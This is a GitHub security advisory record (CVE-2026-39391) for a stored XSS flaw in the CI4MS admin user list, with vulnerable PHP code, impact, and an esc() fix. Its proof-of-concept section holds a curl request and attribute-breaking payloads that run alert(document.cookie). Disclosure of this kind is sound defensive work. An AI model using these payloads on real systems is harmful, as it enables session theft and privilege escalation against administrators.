{"id":"GHSA-7cm9-v848-cfh2","summary":"CI4MS has stored XSS via Unescaped Blacklist Note in Admin User List","details":"## Summary\n\nThe blacklist (ban) note parameter in `UserController::ajax_blackList_post()` is stored in the database without sanitization and rendered into an HTML `data-note` attribute without escaping. An admin with blacklist privileges can inject arbitrary JavaScript that executes in the browser of any other admin who views the user management page.\n\n## Details\n\nIn `modules/Users/Controllers/UserController.php`, the `ajax_blackList_post()` method (line 344-362) accepts a `note` POST parameter with only a `required` validation rule:\n\n```php\n// Line 347 — validation only checks 'required', no sanitization\n$valData = (['note' =\u003e ['label' =\u003e lang('Backend.notes'), 'rules' =\u003e 'required'],\n             'uid' =\u003e ['label' =\u003e 'uid', 'rules' =\u003e 'required|is_natural_no_zero']]);\n\n// Line 352 — raw user input passed directly to ban()\n$user-\u003eban($this-\u003erequest-\u003egetPost('note'));\n```\n\nShield's `Bannable::ban()` trait stores the message as-is:\n```php\n// vendor/codeigniter4/shield/src/Traits/Bannable.php\npublic function ban(?string $message = null): self\n{\n    $this-\u003estatus         = 'banned';\n    $this-\u003estatus_message = $message;  // No escaping\n    // ...\n}\n```\n\nIn the `users()` method (line 13-91), when building the DataTables response, the `status_message` is concatenated directly into HTML without escaping:\n\n```php\n// Line 55 — esc() IS used here (correct)\n$result-\u003efullname = esc($result-\u003efirstname) . ' ' . esc($result-\u003esurname);\n\n// Line 58-59 — NO esc() on status_message (vulnerable)\nif ($result-\u003estatus == 'banned'):\n    $result-\u003eactions .= '\u003cbutton ... data-note=\"' . $result-\u003estatus_message . '\"\u003e'\n```\n\nThe HTML string is returned as JSON (line 90) and DataTables renders it into the DOM. CSP is disabled (`$CSPEnabled = false` in `App.php`), and no `SecureHeaders` filter is applied.\n\n## PoC\n\n**Step 1 — Store XSS payload via ban endpoint:**\n```bash\ncurl -X POST 'https://TARGET/backend/users/blackList' \\\n  -H 'X-Requested-With: XMLHttpRequest' \\\n  -H 'Cookie: ci_session=ADMIN_SESSION_WITH_UPDATE_PERM' \\\n  -d 'uid=2&note=%22+onmouseover%3D%22alert(document.cookie)%22+x%3D%22'\n```\n\nExpected response: `{\"result\":true,\"error\":{\"type\":\"success\",\"message\":\"...\"}}`\n\n**Step 2 — Trigger payload:**\nAny admin navigating to `/backend/users` will receive HTML containing:\n```html\n\u003cbutton ... data-note=\"\" onmouseover=\"alert(document.cookie)\" x=\"\"\u003e\n```\n\nThe XSS fires when the admin hovers over the blacklist button for the banned user.\n\n**Alternative immediate-execution payload:**\n```\nnote=\"\u003e\u003cimg src=x onerror=alert(document.cookie)\u003e\n```\n\n## Impact\n\n- **Session hijacking**: An attacker with blacklist privileges can steal session cookies of other admins (including superadmins who view the user list but are themselves protected from being banned).\n- **Privilege escalation**: A lower-privileged admin could use stolen superadmin sessions to gain full control.\n- **Persistent**: The payload persists in the database and fires every time the user list is loaded, affecting all admins who view the page.\n\n## Recommended Fix\n\nWrap `status_message` with `esc()` to match the escaping already applied to other user fields on line 55:\n\n```php\n// In users() method, line 58-59 — change:\n$result-\u003eactions .= '\u003cbutton type=\"button\" class=\"btn btn-outline-dark btn-sm open-blacklist-modal\"\n                        data-id=\"' . $result-\u003eid . '\" data-status=\"' . $result-\u003estatus . '\" data-note=\"' . esc($result-\u003estatus_message) . '\"\u003e\u003ci\n```","aliases":["CVE-2026-39391"],"modified":"2026-04-08T19:41:25.362010Z","published":"2026-04-08T19:15:32Z","database_specific":{"cwe_ids":["CWE-79"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-04-08T19:15:32Z","nvd_published_at":"2026-04-08T15:16:13Z"},"references":[{"type":"WEB","url":"https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-7cm9-v848-cfh2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39391"},{"type":"PACKAGE","url":"https://github.com/ci4-cms-erp/ci4ms"},{"type":"WEB","url":"https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.4.0"}],"affected":[{"package":{"name":"ci4-cms-erp/ci4ms","ecosystem":"Packagist","purl":"pkg:composer/ci4-cms-erp/ci4ms"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.31.4.0"}]}],"versions":["0.21.0","0.21.1","0.21.2","0.21.3","0.21.3.1","0.21.3.2","0.21.3.3","0.21.3.4","0.21.3.5","0.21.3.6","0.21.3.7","0.23.0.0","0.23.0.1","0.23.0.2","0.23.1.0","0.24.0.0","0.24.0.16","0.24.0.18","0.24.0.19","0.24.0.20","0.24.0.27","0.24.0.42","0.24.0.45","0.24.0.60","0.25.0.0","0.25.0.1","0.25.0.2","0.25.0.30","0.25.0.39","0.25.0.43","0.25.1.0","0.25.2.0","0.25.3.0","0.26.0.0","0.26.1.0","0.26.2.0","0.26.3.0","0.26.3.1","0.26.3.2","0.26.3.3","0.26.3.4","0.27.0.0","0.28.0.0","0.28.3.0","0.28.4.0","0.28.5.0","0.28.6.0","0.31.0.0","0.31.1.0","0.31.2.0","0.31.3.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-7cm9-v848-cfh2/GHSA-7cm9-v848-cfh2.json","last_known_affected_version_range":"\u003c= 0.31.3.0"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N"}]}